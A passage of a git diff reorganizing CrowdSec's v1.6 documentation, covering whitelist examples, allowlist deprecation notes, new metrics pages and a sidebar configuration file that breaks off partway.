+- `2`: The scenario is reliable and unlikely to produce false positives. It can be used to identify malicious behavior.
+- `3`: The scenario is highly reliable and will not produce false positives. It is trustworthy for identifying malicious behavior.
#### `cti`
>type: bool [true|false]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/introduction.mdx b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/introduction.mdx
similarity index 83%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/introduction.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/introduction.mdx
index 03f883639..56cf888f6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/introduction.mdx
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/introduction.mdx
@@ -25,6 +25,6 @@ The event goes via various steps :
- if the bucket overflows, it can be validated by an optional `overflow_filter`
-Once an overflow happens, it will go through [postoverflows](/parsers/introduction.mdx#postoverflows) to handle last chance whitelists, before being finally turned into a potential [decision](/concepts.md#decisions) by [profiles](/profiles/intro.md).
+Once an overflow happens, it will go through [postoverflows](/log_processor/parsers/introduction.mdx#postoverflows) to handle last chance whitelists, before being finally turned into a potential [decision](/concepts.md#decisions) by [profiles](/local_api/profiles/intro.md).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/simulation.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/simulation.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/simulation.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/simulation.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/capi_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/capi_based_whitelist.md
similarity index 91%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/capi_based_whitelist.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/capi_based_whitelist.md
index 38bb80d4e..7394468de 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/capi_based_whitelist.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/capi_based_whitelist.md
@@ -3,6 +3,13 @@ id: create_capi
title: CAPI
---
+:::warning
+
+This option is deprecated.
+You should use [centralized allowlists](local_api/allowlists.md) instead.
+
+:::
+
## Whitelists from CAPI (Central API) community blocklist or third party blocklist
From version 1.5.0 a user can specify a list of IP's or IP ranges to be whitelisted from a community blocklist or third party blocklist. You will have to specify a path to the file within `config.yaml` as by default there is no file specified.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/expr_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/expr_based_whitelist.md
similarity index 97%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/expr_based_whitelist.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/expr_based_whitelist.md
index 219f1bc9f..e4f8d2d97 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/expr_based_whitelist.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/expr_based_whitelist.md
@@ -5,10 +5,10 @@ title: Expression
Let's whitelist a **specific** user-agent (of course, it's just an example, don't do this in production !).
-Since we are using data that is present from the parsing stage we can do this within `Parsing Whitelist` level. Please see [introduction](/whitelist/introduction.md) for your OS specific paths.
+Since we are using data that is present from the parsing stage we can do this within `Parsing Whitelist` level. Please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths.
```yaml
-name: my/whitelist
+name: "my/whitelist" ## Must be unique
description: "Whitelist events from private ipv4 addresses"
whitelist:
reason: "private ipv4 ranges"
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/format.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/format.md
similarity index 99%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/format.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/format.md
index 021b76b86..2505a3ab1 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/format.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/format.md
@@ -7,7 +7,7 @@ sidebar_position: 2
## Whitelist configuration example
```yaml
-name: crowdsecurity/my-whitelists
+name: "my/whitelist" ## Must be unique
description: "Whitelist events from my ipv4 addresses"
#it's a normal parser, so we can restrict its scope with filter
filter: "1 == 1"
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/fqdn_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/fqdn_based_whitelist.md
similarity index 80%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/fqdn_based_whitelist.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/fqdn_based_whitelist.md
index f883eb883..694123ec0 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/fqdn_based_whitelist.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/fqdn_based_whitelist.md
@@ -4,17 +4,17 @@ title: FQDN
---
:::info
-FQDN lookups can be potentially cause latency issues, we only recommend to use this within the `Postoverflow whitelist` stage see [introduction](/whitelist/introduction.md) for your OS specific path
+FQDN lookups can be potentially cause latency issues, we only recommend to use this within the `Postoverflow whitelist` stage see [introduction](/log_processor/whitelist/introduction.md) for your OS specific path
:::
### Create the whitelist with fully qualified domaine name
You might want to whitelist a fully qualified domain name (FQDN eg foo.com), in that case you need to follow this below
-Let's create the following file `FQDN-whitelists.yaml` (See [introduction](/whitelist/introduction.md) for your OS specific path) :
+Let's create the following file `FQDN-whitelists.yaml` (See [introduction](/log_processor/whitelist/introduction.md) for your OS specific path) :
```yaml
-name: me/FQDN-whitlists
+name: "my/FQDN-whitlists" ## Must be unique
description: "Whitelist postoverflows from FQDN"
whitelist:
reason: "do whitelistings by FQDN"
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/introduction.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/introduction.md
similarity index 75%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/introduction.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/introduction.md
index da530073c..78f67b840 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/introduction.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/introduction.md
@@ -12,6 +12,7 @@ Whitelists are special parsers that allow you to "discard" events, and can exist
- Freebsd: `/usr/local/etc/crowdsec/parsers/s02-enrich/`
- Windows: `c:/programdata/crowdsec/config/parsers/s02-enrich/`
+ - *LAPI AllowLists* : Centralized at the LAPI level, those allowlists allow to discard the decision and alert while still generating a log entry. They can be IP/Range (CIDR) based. See [LAPI AllowLists](/local_api/allowlists.md)
- *PostOverflow whitelists* : Those are whitelists that are checked *after* the overflow happens. It is usually best for whitelisting process that can be expensive (such as performing reverse DNS on an IP address, or performing a `whois` of an IP address).
- Linux: `/etc/crowdsec/postoverflows/s01-whitelist/`
@@ -20,7 +21,9 @@ Whitelists are special parsers that allow you to "discard" events, and can exist
*Postoverflow whitelist folders do not exist by default so you **MUST** manually create them*
-The whitelist can be based on several criteria:
+**Parser Whitelists** and **PostOverflow Whitelists** offer more flexibility, but are harder to manage. If you stick to IP-based whitelists, [**Centralized AllowLists**](/local_api/allowlists.md) is the way to go.
+
+Otherwise, whitelist can be based on several criteria:
- specific IP address : if the event/overflow IP is the same, event is whitelisted
- IP ranges : if the event/overflow IP address belongs to this range, event is whitelisted
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/ip_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/ip_based_whitelist.md
similarity index 89%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/ip_based_whitelist.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/ip_based_whitelist.md
index f68cf9b2f..2441df016 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/ip_based_whitelist.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/ip_based_whitelist.md
@@ -5,10 +5,10 @@ title: IP / CIDR
IP whitelists are best suited at `Parser whitelists` level because once the log line has been parsed we already know the IP address and can save resources by discarding it earlier in the pipeline.
-We will create the file `mywhitelist.yaml` please see [introduction](/whitelist/introduction.md) for your OS specific paths.
+We will create the file `mywhitelist.yaml` please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths.
```yaml
-name: my/whitelist
+name: "my/whitelist" ## Must be unique
description: "Whitelist events from my ip addresses"
whitelist:
reason: "my ip ranges"
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/lapi_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/lapi_based_whitelist.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/lapi_based_whitelist.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/lapi_based_whitelist.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/postoverflow_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/postoverflow_based_whitelist.md
similarity index 53%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/postoverflow_based_whitelist.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/postoverflow_based_whitelist.md
index 1d4a093fe..f1ebe54cb 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/whitelist/postoverflow_based_whitelist.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/whitelist/postoverflow_based_whitelist.md
@@ -3,15 +3,15 @@ id: create_postoverflow
title: Postoverflow
---
-## Whitelist in PostOverflows
+## Whitelist in PostOverflows
-Whitelists in PostOverflows are applied *after* the bucket overflow happens. Please see [introduction](/whitelist/introduction.md) for your OS specific paths.
+Whitelists in PostOverflows are applied _after_ the bucket overflow happens. Please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths.
:::warning
In PostOverflows, the `evt.Parsed` object will be empty at this stage.
-It means that you must work with the [`evt.Overflow`](/expr/event.md#overflow-relevant-fields) object for your expression.
+It means that you must work with the [`evt.Overflow`](/expr/event.md#event-object--overflow) object for your expression.
:::
@@ -21,16 +21,16 @@ A good example is the [crowdsecurity/whitelist-good-actors](https://hub.crowdsec
First of all, install the [crowdsecurity/rdns postoverflow](https://hub.crowdsec.net/author/crowdsecurity/configurations/rdns) : it will be in charge of enriching overflows with reverse dns information of the offending IP address.
-Let's create `mywhitelist.yaml` again but remember this is a postoverflow whitelist so the paths will be different to `Parsing whitelists` please see [introduction](/whitelist/introduction.md) for your OS specific path.
+Let's create `mywhitelist.yaml` again but remember this is a postoverflow whitelist so the paths will be different to `Parsing whitelists` please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific path.
```yaml
-name: me/my_cool_whitelist
+name: "my/po_whitelist" ## Must be unique
description: lets whitelist our own reverse dns
whitelist:
- reason: dont ban my ISP
- expression:
- #this is the reverse of my ip, you can get it by performing a "host" command on your public IP for example
- - evt.Enriched.reverse_dns endsWith '.asnieres.rev.numericable.fr.'
+ reason: dont ban my ISP
+ expression:
+ #this is the reverse of my ip, you can get it by performing a "host" command on your public IP for example
+ - evt.Enriched.reverse_dns endsWith '.asnieres.rev.numericable.fr.'
```
```bash title="Reload CrowdSec"
@@ -40,6 +40,7 @@ sudo systemctl reload crowdsec
```bash
nikto -host myfqdn.com
```
+
Tail the crowdsec log
```bash
@@ -55,3 +56,26 @@ time="07-07-2020 17:11:09" level=info msg="Processing Overflow with no decisions
```
This time, we can see that logs are being produced when the event is discarded.
+
+## Allow event for a specific scenario
+
+It is possible to allow an event for a specific scenario.
+
+For example, if you want to allow all the HTTP requests starting with `/mywebapp` only for the scenario `crowdsecurity/http-crawl-non_statics`, you can create the following postoverflow:
+
+```yaml
+name: mywebapp_whitelist
+description: Whitelist MyWebApp application for crawl non static
+whitelist:
+ reason: MyWebApp can trigger FP
+ expression:
+ - evt.Overflow.Alert.Scenario == "crowdsecurity/http-crawl-non_statics" and all(evt.Overflow.Alert.Events, {.GetMeta("http_path") startsWith "/mywebapp"})
+```
+
+The allowlist expression checks that the triggered scenario is `crowdsecurity/http-crawl-non_statics`.
+
+It then checks that all the `http_path` of events that lead to trigger the scenario start with `/mywebapp`.
+
+:warning: Since the `capacity` of the `crowdsecurity/http-crawl-non_statics` scenario is set to 40 and its `cache_size` to 5, the allowlist can only do this check on the last 5 events.
+
+If it matches both conditions, the overflow is allowed.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/observability/cscli.md b/crowdsec-docs/versioned_docs/version-v1.6/observability/cscli.md
new file mode 100644
index 000000000..345be566e
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/observability/cscli.md
@@ -0,0 +1,89 @@
+---
+id: cscli
+title: Cscli metrics
+sidebar_position: 2
+---
+
+# Crowdsec Metrics
+
+Crowdsec is instrumented using [prometheus](https://prometheus.io/) to provide detailed metrics and tracability about what is going on.
+The `cscli metrics` allows you to see a subset of the metrics exposed by crowdsec. For a more industrial solution, look into the [Grafana](/docs/next/observability/prometheus) integration.
+
+The best way to get an overview of the available metrics is to use `cscli metrics list`:
+ Type | Title | Description
+---------------|------------------------------|-------------
+acquisition | Acquisition Metrics | Measures the lines read, parsed, and unparsed per datasource. Zero read lines indicate a misconfigured or inactive datasource. Zero parsed lines means the parser(s) failed. Non-zero parsed lines are fine as crowdsec selects relevant lines.
+alerts | Local API Alerts | Tracks the total number of past and present alerts for the installed scenarios.
+appsec-engine | Appsec Metrics | Measures the number of parsed and blocked requests by the AppSec Component.
+appsec-rule | Appsec Rule Metrics | Provides “per AppSec Component” information about the number of matches for loaded AppSec Rules.
+bouncers | Bouncer Metrics | Network traffic blocked by bouncers.
+decisions | Local API Decisions | Provides information about all currently active decisions. Includes both local (crowdsec) and global decisions (CAPI), and lists subscriptions (lists).
+lapi | Local API Metrics | Monitors the requests made to local API routes.
+lapi-bouncer | Local API Bouncers Metrics | Tracks total hits to remediation component related API routes.
+lapi-decisions | Local API Bouncers Decisions | Tracks the number of empty/non-empty answers from LAPI to bouncers that are working in "live" mode.
+lapi-machine | Local API Machines Metrics | Tracks the number of calls to the local API from each registered machine.
+parsers | Parser Metrics | Tracks the number of events processed by each parser and indicates success of failure. Zero parsed lines means the parser(s) failed. Non-zero unparsed lines are fine as crowdsec select relevant lines.
+scenarios | Scenario Metrics | Measure events in different scenarios. Current count is the number of buckets during metrics collection. Overflows are past event-producing buckets, while Expired are the ones that didn’t receive enough events to Overflow.
+stash | Parser Stash Metrics | Tracks the status of stashes that might be created by various parsers and scenarios.
+whitelists | Whitelist Metrics | Tracks the number of events processed and possibly whitelisted by each parser whitelist.
+
+# Metrics sections
+
+You can use aliases to view metrics related to specific areas (`cscli metrics show $alias`):
+
+ - `engine` : Security Engine dedicated metrics (acquisition, parsers, scenarios, whitelists)
+ - `lapi` : local api dedicated metrics (bouncer api calls, local api decisions, machines decisions etc.)
+ - `appsec` : application Security Engine - WAF specifics (requests processed, rules evaluated and triggered)
+
+You can as well combine various metrics sections (listed in `cscli metrics list`).
+
+
+## Example : Security Engine Metrics
+
+Using `cscli metrics show engine` will display the metrics sections relative to the Security Engine itself : acquisition, parsers, scenarios, whitelists and stash.
+
+```bash title="Command Output"
+Acquisition Metrics:
+╭────────────────────────────────┬────────────┬──────────────┬────────────────┬────────────────────────┬───────────────────╮
+│ Source │ Lines read │ Lines parsed │ Lines unparsed │ Lines poured to bucket │ Lines whitelisted │
+├────────────────────────────────┼────────────┼──────────────┼────────────────┼────────────────────────┼───────────────────┤
+│ file:/var/log/auth.log │ 636 │ - │ 636 │ - │ - │
+│ file:/var/log/nginx/access.log │ 24 │ 24 │ - │ 1 │ - │
+│ file:/var/log/syslog │ 1.55k │ - │ 1.55k │ - │ - │
+╰────────────────────────────────┴────────────┴──────────────┴────────────────┴────────────────────────┴───────────────────╯
+
+Parser Metrics:
+╭─────────────────────────────────┬───────┬────────┬──────────╮
+│ Parsers │ Hits │ Parsed │ Unparsed │
+├─────────────────────────────────┼───────┼────────┼──────────┤
+│ child-crowdsecurity/http-logs │ 72 │ 48 │ 24 │
+│ child-crowdsecurity/nginx-logs │ 24 │ 24 │ - │
+│ child-crowdsecurity/syslog-logs │ 2.18k │ 2.18k │ - │
+│ crowdsecurity/dateparse-enrich │ 24 │ 24 │ - │
+│ crowdsecurity/geoip-enrich │ 24 │ 24 │ - │
+│ crowdsecurity/http-logs │ 24 │ 24 │ - │
+│ crowdsecurity/nginx-logs │ 24 │ 24 │ - │
+│ crowdsecurity/non-syslog │ 24 │ 24 │ - │
+│ crowdsecurity/syslog-logs │ 2.18k │ 2.18k │ - │
+╰─────────────────────────────────┴───────┴────────┴──────────╯
+
+Scenario Metrics:
+╭──────────────────────────────────────┬───────────────┬───────────┬──────────────┬────────┬─────────╮
+│ Scenario │ Current Count │ Overflows │ Instantiated │ Poured │ Expired │
+├──────────────────────────────────────┼───────────────┼───────────┼──────────────┼────────┼─────────┤
+│ crowdsecurity/http-crawl-non_statics │ - │ - │ 1 │ 1 │ 1 │
+╰──────────────────────────────────────┴───────────────┴───────────┴──────────────┴────────┴─────────╯
+
+Parser Stash Metrics:
+╭──────┬──────┬───────╮
+│ Name │ Type │ Items │
+╰──────┴──────┴───────╯
+
+Whitelist Metrics:
+╭──────────────────────────┬─────────────────────────────┬──────┬─────────────╮
+│ Whitelist │ Reason │ Hits │ Whitelisted │
+├──────────────────────────┼─────────────────────────────┼──────┼─────────────┤
+│ crowdsecurity/whitelists │ private ipv4/ipv6 ip/ranges │ 12 │ 12 │
+╰──────────────────────────┴─────────────────────────────┴──────┴─────────────╯
+```
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/observability/dashboard.md b/crowdsec-docs/versioned_docs/version-v1.6/observability/dashboard.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/observability/dashboard.md
rename to crowdsec-docs/versioned_docs/version-v1.6/observability/dashboard.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/observability/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/observability/intro.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/observability/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/observability/intro.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/observability/pprof.md b/crowdsec-docs/versioned_docs/version-v1.6/observability/pprof.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/observability/pprof.md
rename to crowdsec-docs/versioned_docs/version-v1.6/observability/pprof.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/observability/prometheus.md b/crowdsec-docs/versioned_docs/version-v1.6/observability/prometheus.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/observability/prometheus.md
rename to crowdsec-docs/versioned_docs/version-v1.6/observability/prometheus.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/observability/usage_metrics.md b/crowdsec-docs/versioned_docs/version-v1.6/observability/usage_metrics.md
new file mode 100644
index 000000000..81857d2e0
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/observability/usage_metrics.md
@@ -0,0 +1,78 @@
+---
+id: usage_metrics
+title: Usage Metrics
+sidebar_position: 6
+---
+
+:::info
+Usage metrics require at least CrowdSec v1.6.3
+
+Support on Remediation Components are rolling out progressively. Please check the relevant [documentation](/u/bouncers/intro) to see if your Remediation Component has support.
+:::
+
+Logs processors and Remediation Components can provide detailed usage data to the [Local API (LAPI)](local_api/intro.md), allowing for a unified view of their behavior and better insights.
+
+## Remediation Components
+
+Remediation Components can send detailed information about themselves and what decisions they are acting on.
+
+The specific metrics sent vary depending on the type of Remediation Component used.
+
+For example, the [firewall Remediation Component](/u/bouncers/firewall) can report metrics on dropped bytes or packets, while the [OpenResty Remediation Component](/u/bouncers/openresty) can report metrics on dropped HTTP requests.
+
+The same applies to interpreting the metrics: when blocking at the firewall level, most bots or attackers stop once they realize they can't connect to the target server. Therefore, the dropped packets or bytes should be seen as relative indicators of effectiveness between different blocking sources, not as the exact number of packets that would have been transmitted if the IP weren't blocked.
+
+In contrast, HTTP-based Remediation Components typically count each handled request, as attackers are less likely to stop after receiving a 403 response or a Captcha challenge.
+
+Whenever possible, the Remediation Components will break down the remediated traffic by the source of the decision.
+
+Currently, CrowdSec supports the following origins:
+ - `crowdsec`: an automated decision based on behavioral analysis of your logs
+ - `CAPI`: a decision coming from the Community Blocklist
+ - `cscli`: a manual decision added with [`cscli decisions add`](cscli/cscli_decisions_add.md)
+ - `cscli-import`: decisions that were imported with [`cscli decisions import`](cscli/cscli_decisions_import.md)
+ - `appsec`: the request was blocked by an appsec rule
+ - `console`: a manual decision added from the [console](https://app.crowdsec.net)
+ - `lists:XXX`: a decision coming from a blocklist subscribed in the [console](https://app.crowdsec.net). `XXX` is the name of the blocklist.
+
+
+You can view the metrics locally using [`cscli metrics show bouncers`](cscli/cscli_metrics_show.md):
+
+
+
+The Remediation Components will send the number of decisions that are actually enforced.
+
+These numbers may differ from what is shown by [`cscli decisions list`](cscli/cscli_decisions_list.md) for several reasons:
+- Filters are applied when querying LAPI (such as scope, scenarios, etc.).
+- LAPI deduplicates decisions before sending. If an IP is listed in multiple sources, only the decision with the longest remaining time is sent (useful for assessing blocklist overlap).
+
+Remediation components will also send the version of the OS they are running on. You can see this information with [`cscli bouncers inspect XXX`](cscli/cscli_bouncers_inspect.md):
+
+
+
+## Log Processors
+
+:::info
+Log Processors are the underlying component within the Security Engine that processes logs and sends Alerts to the LAPI. If you are running a multi-server setup, you will have multiple Log Processors.
+:::
+
+Logs processors can also send more information about themselves to LAPI:
+ - Operating system information (version, distribution/platform)
+ - Number of [datasources](/log_processor/data_sources/introduction.md) configured per type
+ - Enabled [features flags](configuration/feature_flags.md)
+ - Installed Hub files (including [custom / tainted](/u/troubleshooting/intro#why-are-some-scenariosparsers-tainted-or-custom-) files):
+ - AppSec-Config
+ - AppSec-Rules
+ - Collections
+ - Contexts
+ - Parsers
+ - Scenarios
+
+
+You can show this data by using [`cscli machines inspect XXX`](cscli/cscli_machines_inspect.md):
+
+
+
+By default, only the collections are shown in order to keep the output readable.
+
+If you want to see the entire hub state of a given Log Processor, you can use `cscli machines inspect --hub XXX`.
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/preview/1-5/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/preview/1-5/intro.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/preview/1-5/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/preview/1-5/intro.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/preview/1-5/setup.mdx b/crowdsec-docs/versioned_docs/version-v1.6/preview/1-5/setup.mdx
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/preview/1-5/setup.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/preview/1-5/setup.mdx
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/preview/backup_guide.mdx b/crowdsec-docs/versioned_docs/version-v1.6/preview/backup_guide.mdx
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/preview/backup_guide.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/preview/backup_guide.mdx
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/preview/building.md b/crowdsec-docs/versioned_docs/version-v1.6/preview/building.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/preview/building.md
rename to crowdsec-docs/versioned_docs/version-v1.6/preview/building.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/preview/preview_crowdsec_linux.mdx b/crowdsec-docs/versioned_docs/version-v1.6/preview/preview_crowdsec_linux.mdx
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/preview/preview_crowdsec_linux.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/preview/preview_crowdsec_linux.mdx
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/preview/preview_crowdsec_windows.md b/crowdsec-docs/versioned_docs/version-v1.6/preview/preview_crowdsec_windows.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/preview/preview_crowdsec_windows.md
rename to crowdsec-docs/versioned_docs/version-v1.6/preview/preview_crowdsec_windows.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/preview/rollback.mdx b/crowdsec-docs/versioned_docs/version-v1.6/preview/rollback.mdx
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/preview/rollback.mdx
rename to crowdsec-docs/versioned_docs/version-v1.6/preview/rollback.mdx
diff --git a/crowdsec-docs/versioned_sidebars/version-v1.6-sidebars.json b/crowdsec-docs/versioned_sidebars/version-v1.6-sidebars.json
new file mode 100644
index 000000000..cbb3d90c0
--- /dev/null
+++ b/crowdsec-docs/versioned_sidebars/version-v1.6-sidebars.json
@@ -0,0 +1,815 @@
+{
+ "sdkSideBar": [
+ {
+ "type": "doc",
+ "label": "Introduction",
+ "id": "getting_started/sdk_intro"
+ },
+ {
+ "type": "doc",
+ "label": "Python",
+ "id": "getting_started/install_pyagent"
+ },
+ {
+ "type": "doc",
+ "label": "PHP",
+ "id": "getting_started/install_softagent"
+ }
+ ],
+ "tutorialSidebar": [
+ {
+ "type": "doc",
+ "id": "intro"
+ },
+ {
+ "type": "link",
+ "label": "Getting Started",
+ "href": "/u/getting_started/intro"
+ },
+ {
+ "type": "doc",
+ "label": "Concepts",
+ "id": "concepts"
+ },
+ {
+ "type": "category",
+ "label": "Log Processor",
+ "link": {
+ "type": "doc",
+ "id": "log_processor/intro"
+ },
+ "items": [
+ {
+ "type": "category",
+ "label": "Data Sources",
+ "link": {
+ "type": "doc",
+ "id": "log_processor/data_sources/intro"
+ },
+ "items": [
+ "log_processor/data_sources/appsec",
+ "log_processor/data_sources/cloudwatch",
+ "log_processor/data_sources/kinesis",
+ "log_processor/data_sources/s3",
+ "log_processor/data_sources/docker",
+ "log_processor/data_sources/file",
+ "log_processor/data_sources/http",
+ "log_processor/data_sources/journald",
+ "log_processor/data_sources/kafka",
+ "log_processor/data_sources/kubernetes_audit",
+ "log_processor/data_sources/loki",
+ "log_processor/data_sources/victorialogs",
+ "log_processor/data_sources/syslog",
+ "log_processor/data_sources/windows_evt_log",
+ "log_processor/data_sources/troubleshoot"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Parsers",
+ "link": {
+ "type": "doc",
+ "id": "log_processor/parsers/intro"
+ },
+ "items": [
+ "log_processor/parsers/format",
+ "log_processor/parsers/create",
+ "log_processor/parsers/enricher",
+ "log_processor/parsers/patterns"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Scenarios",
+ "link": {
+ "type": "doc",
+ "id": "log_processor/scenarios/intro"
+ },
+ "items": [
+ "log_processor/scenarios/format",
+ "log_processor/scenarios/simulation",
+ "log_processor/scenarios/create"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Collections",
+ "link": {
+ "type": "doc",
+ "id": "log_processor/collections/intro"
+ },
+ "items": [
+ "log_processor/collections/format"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Whitelists",
+ "link": {
+ "type": "doc",
+ "id": "log_processor/whitelist/intro"
+ },
+ "items": [
+ "log_processor/whitelist/format",
+ {
+ "type": "category",
+ "label": "Examples",
+ "items": [
+ "log_processor/whitelist/create_ip",
+ "log_processor/whitelist/create_expr",
+ "log_processor/whitelist/create_postoverflow",
+ "log_processor/whitelist/create_fqdn",
+ "log_processor/whitelist/create_capi",
+ "log_processor/whitelist/create_lapi"
+ ]
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Alert Context",
+ "link": {
+ "type": "doc",
+ "id": "log_processor/alert_context/intro"
+ },
+ "items": []
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Local API",
+ "link": {
+ "type": "doc",
+ "id": "local_api/intro"
+ },
+ "items": [
+ {
+ "type": "category",
+ "label": "Profiles",
+ "link": {
+ "type": "doc",
+ "id": "local_api/profiles/intro"
+ },
+ "items": [
+ "local_api/profiles/format",
+ {
+ "type": "category",
+ "label": "Examples",
+ "items": [
+ "local_api/profiles/cti_profile",
+ "local_api/profiles/captcha_profile",
+ "local_api/profiles/pid_profile"
+ ]
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Notification plugins",
+ "link": {
+ "type": "doc",
+ "id": "local_api/notification_plugins/intro"
+ },
+ "items": [
+ {
+ "type": "category",
+ "label": "HTTP Plugin",
+ "collapsed": true,
+ "link": {
+ "type": "doc",
+ "id": "local_api/notification_plugins/http"
+ },
+ "items": [
+ "local_api/notification_plugins/teams",
+ "local_api/notification_plugins/elastic",
+ "local_api/notification_plugins/telegram",
+ "local_api/notification_plugins/gotify"
+ ]
+ },
+ "local_api/notification_plugins/email",
+ "local_api/notification_plugins/sentinel",
+ "local_api/notification_plugins/slack",
+ "local_api/notification_plugins/splunk",
+ "local_api/notification_plugins/file",
+ "local_api/notification_plugins/template_helpers",
+ "local_api/notification_plugins/writing_your_own_plugin"
+ ]
+ },
+ "local_api/database",
+ "local_api/bouncers",
+ "local_api/configuration",
+ "local_api/authentication",
+ "local_api/tls_auth",
+ "local_api/centralized_allowlists",
+ {
+ "type": "link",
+ "label": "Swagger",
